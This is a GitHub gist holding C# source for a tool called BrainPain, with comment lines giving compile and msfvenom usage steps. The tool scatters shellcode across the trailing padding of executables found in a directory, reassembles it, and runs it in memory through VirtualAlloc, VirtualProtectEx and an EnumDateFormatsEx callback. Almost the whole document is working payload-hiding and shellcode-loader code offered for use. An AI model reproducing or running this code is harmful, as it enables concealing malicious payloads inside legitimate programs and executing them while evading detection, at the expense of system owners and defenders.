Last active
May 17, 2022 02:57
-
-
Save Wra7h/07ff3b3f4900f59a4059c92834a1f59f to your computer and use it in GitHub Desktop.
Store/Recover/Execute shellcode using *.exe padding
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered. | |
// At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected. | |
// Step 1: Compile: | |
// PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs | |
// Step 2: generate shellcode | |
// msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin | |
// Step 3: Execute Brainpain | |
// PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes | |
// Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered. | |
// At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected. | |
// Step 1: Compile: | |
// PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs | |
// Step 2: generate shellcode | |
// msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin | |
// Step 3: Execute Brainpain | |
// PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes\ | |
using System; | |
using System.Collections.Generic; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Linq; | |
using System.Runtime.InteropServices; | |
using System.Security.Cryptography; | |
namespace BrainPain | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
string scPath = null; | |
string directory = null; | |
for (int i = 0; i < args.Length; i++) | |
{ | |
if (args[i] == "-sc" && File.Exists(args[i+1])) | |
{ | |
scPath = args[i + 1]; | |
} | |
if (args[i] == "-dir" && Directory.Exists(args[i + 1])) | |
{ | |
directory = args[i + 1]; | |
} | |
if (args[i] == "-h") | |
{ | |
Console.WriteLine("-sc: Absolute path to shellcode."); | |
Console.WriteLine("-dir: Directory to recursively search for exes."); | |
Environment.Exit(0); | |
} | |
} | |
if (scPath == null || directory == null) | |
{ | |
Console.WriteLine("[!] Specify a directory and the path to shellcode"); | |
Console.WriteLine("\n-sc: Absolute path to shellcode."); | |
Console.WriteLine("-dir: Directory to recursively search for exes."); | |
Environment.Exit(0); | |
} | |
//Read the specified shellcode | |
byte[] shellcode = File.ReadAllBytes(scPath); | |
string shellcodeMD5 = GetMD5(shellcode); | |
Console.WriteLine("Shellcode MD5: {0}", shellcodeMD5); | |
//Recursively find all the exes | |
List<string> files = GetAllFilesFromFolder(directory, true); | |
//Use a ledger to keep track of the filepath, padding available and the bytes written (if necessary) | |
List<StorageDetails> ledger = new List<StorageDetails>(); | |
//Add each filepath to the ledger | |
foreach(string file in files) | |
{ | |
StorageDetails ledgeritem = new StorageDetails(); | |
ledgeritem.Filepath = file; | |
ledger.Add(ledgeritem); | |
} | |
Console.WriteLine("\n[*] Step 1: Identify the amount of space available in each file."); | |
int totalPadding = 0; | |
foreach (StorageDetails item in ledger) | |
{ | |
//ReadFilePad() is going to look at each file to get the amount of padding available to be written to. | |
//I only have it return data for any file with more than 100 bytes available - though it shouldn't matter. | |
item.PaddingAvailable = ReadFilePad(item.Filepath); | |
if (item.PaddingAvailable > 0) | |
{ | |
totalPadding += item.PaddingAvailable; | |
} | |
} | |
//If there wasn't a decent amount of padding, GET OUTTA HERE! | |
ledger.RemoveAll(p => p.PaddingAvailable == 0); | |
if (ledger.Count == 0) | |
{ | |
Console.WriteLine("[!] Ledger is empty. Make sure you have correct access to write to a file in the specified directory."); | |
Environment.Exit(0); | |
} | |
//Neat details about how many files and total bytes were found when recursively looking | |
Console.WriteLine("\tFile Count: {0} Available bytes: {1} Shellcode Length: {2}", ledger.Count, totalPadding, shellcode.Length); | |
if (totalPadding < shellcode.Length) | |
{ | |
Console.WriteLine("\n[!] Not enough padding to successfully disperse shellcode.\n\nPress Enter to Exit."); | |
Console.ReadLine(); | |
Environment.Exit(0); | |
} | |
Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.\n====== Press Enter to Continue ======"); | |
Console.ReadLine(); | |
int shellcodeWritten = 0; | |
int index = 0; | |
while ((shellcodeWritten != shellcode.Length) && (index < ledger.Count)) | |
{ | |
try | |
{ | |
ledger[index].Byteswritten = WriteBytesToPad(ledger[index].Filepath, shellcode.Skip(shellcodeWritten).ToArray(), ledger[index].PaddingAvailable); | |
shellcodeWritten += ledger[index].Byteswritten; | |
index++; | |
} | |
catch (ArgumentOutOfRangeException) | |
{ | |
Console.WriteLine("[!] Error writing to file {0}", ledger[index].Filepath); | |
index++; | |
continue; | |
} | |
} | |
ledger.RemoveAll(p => p.Byteswritten == 0); | |
Console.WriteLine("\n[+] Split shellcode among {0} files.", ledger.Count); | |
// Wait until the user is ready, then start the rebuild process | |
Console.WriteLine("\n\n====== Press Enter to Rebuild ======"); | |
Console.ReadLine(); | |
//Rebuilding Starts! | |
Console.WriteLine("[*] Step 3: Rebuild the shellcode and restore the file back to normal."); | |
List<byte> rebuiltShellcode = new List<byte>(); | |
foreach (StorageDetails item in ledger) | |
{ | |
Console.WriteLine("\n\tReading {0}", item.Filepath); | |
rebuiltShellcode.AddRange(BuildShellcodeFromPad(item.Filepath,item.Byteswritten)); | |
} | |
Console.WriteLine("\n[*] Step 4: Use the shellcode."); | |
string recoveredShellcode = GetMD5(rebuiltShellcode.ToArray()); | |
// Make sure the recovered shellcode matches the original shellcode MD5. Execute the shellcode if it does match. | |
if (shellcodeMD5 == recoveredShellcode) | |
{ | |
Execute(rebuiltShellcode.ToArray()); | |
} | |
else | |
{ | |
Console.WriteLine("\tOriginal Shellcode MD5: {0}", shellcodeMD5); | |
Console.WriteLine("\tRecovered Shellcode MD5: {0}", recoveredShellcode); | |
Console.WriteLine("\t[!] Shellcode MD5 does not match. Exiting."); | |
} | |
} | |
static List<byte> BuildShellcodeFromPad(string path, int amount) | |
{ | |
if (!File.Exists(path)) | |
{ | |
return null; | |
} | |
byte[] file = File.ReadAllBytes(path); | |
byte[] shellcodeData = file.Skip(Math.Max(0, file.Count() - amount)).ToArray(); | |
byte[] reversed = file.Reverse().ToArray(); | |
int i = 0; | |
for (i = 0; i <= amount; i++) | |
{ | |
reversed[i] = 0; | |
} | |
File.WriteAllBytes(path, reversed.Reverse().ToArray()); | |
Console.WriteLine("\tRecovered MD5: {0}", GetMD5(reversed.Reverse().ToArray())); | |
Console.WriteLine("\tAmount gathered: {0}", amount); | |
return shellcodeData.Reverse().ToList(); | |
} | |
public static string GetMD5(byte[] array) | |
{ | |
MD5 hashString = new MD5CryptoServiceProvider(); | |
var hashValue = hashString.ComputeHash(array); | |
string hash = string.Empty; | |
foreach (byte x in hashValue) | |
{ | |
hash += string.Format("{0:x2}", x); | |
} | |
return hash; | |
} | |
public static List<string> GetAllFilesFromFolder(string root, bool searchSubfolders) | |
{ | |
Queue<string> folders = new Queue<string>(); | |
List<string> files = new List<string>(); | |
folders.Enqueue(root); | |
while (folders.Count != 0) | |
{ | |
string currentFolder = folders.Dequeue(); | |
try | |
{ | |
string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.exe", System.IO.SearchOption.TopDirectoryOnly); | |
files.AddRange(filesInCurrent); | |
} | |
catch | |
{ | |
} | |
try | |
{ | |
if (searchSubfolders) | |
{ | |
string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly); | |
foreach (string _current in foldersInCurrent) | |
{ | |
folders.Enqueue(_current); | |
} | |
} | |
} | |
catch | |
{ | |
} | |
} | |
return files; | |
} | |
//Get the number of zeroes at the end of a file. | |
static int ReadFilePad(string path) | |
{ | |
if (File.Exists(path)) | |
{ | |
try | |
{ | |
byte[] file = File.ReadAllBytes(path); | |
byte[] reversed = file.Reverse().ToArray(); //Flip it/reverse it. Missy Elliot would be so proud. | |
int i = 0; | |
while (reversed[i] == 0) | |
{ | |
i++; | |
} | |
//I only wish to write to a file with more than 100 bytes of padding. Doesn't really matter though. | |
if (i > 100) | |
{ | |
return i; | |
} | |
else | |
{ | |
return 0; | |
} | |
} | |
catch | |
{ | |
return 0; | |
} | |
} | |
else | |
{ | |
return 0; | |
} | |
} | |
static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable) | |
{ | |
if (File.Exists(path)) | |
{ | |
try | |
{ | |
byte[] file = File.ReadAllBytes(path); | |
Console.WriteLine("\n\tFile: {0}\n\tOriginal MD5: {1}\n\tPadding Size: {2}", path, GetMD5(File.ReadAllBytes(path)), spaceAvailable); | |
byte[] reversedFile = file.Reverse().ToArray(); | |
//byte[] reversedPayload = payload.ToArray(); | |
int i; | |
for (i = 0; i < payload.Count(); i++) | |
{ | |
if (i < spaceAvailable) | |
{ | |
reversedFile[i] = payload[i]; | |
} | |
else | |
{ | |
File.WriteAllBytes(path, reversedFile.Reverse().ToArray()); | |
Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray())); | |
return (i-1); //14 Jan 22: Oops. just returning i was causing problems returning the file back to it's original state. | |
} | |
} | |
//write new bytes to file | |
File.WriteAllBytes(path, reversedFile.Reverse().ToArray()); | |
Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}\n\tPadding Overwritten: {2}", path, GetMD5(reversedFile.Reverse().ToArray()), i); | |
return i; | |
} | |
catch | |
{ | |
return 0; | |
} | |
} | |
else | |
{ | |
return 0; | |
} | |
} | |
public class StorageDetails | |
{ | |
public string Filepath { set; get; } | |
public int PaddingAvailable { set; get; } | |
public int Byteswritten { set; get;} | |
} | |
//Just execute the shellcode with a callback | |
static void Execute(byte[] payload) | |
{ | |
IntPtr hAlloc = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, 0x1000 | 0x2000, 0x04);//0x04 = RW | |
Marshal.Copy(payload, 0, hAlloc, payload.Length); | |
uint oldProtect; | |
VirtualProtectEx(Process.GetCurrentProcess().Handle, hAlloc, (UIntPtr)payload.Length, 0x20, out oldProtect); //0x20 = RX | |
EnumDateFormatsEx(hAlloc, 0x0800, 0); | |
} | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | |
[DllImport("kernel32.dll")] | |
static extern bool EnumDateFormatsEx(IntPtr lpDateFmtEnumProcEx, uint Locale, uint dwFlags); | |
[DllImport("kernel32.dll")] | |
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment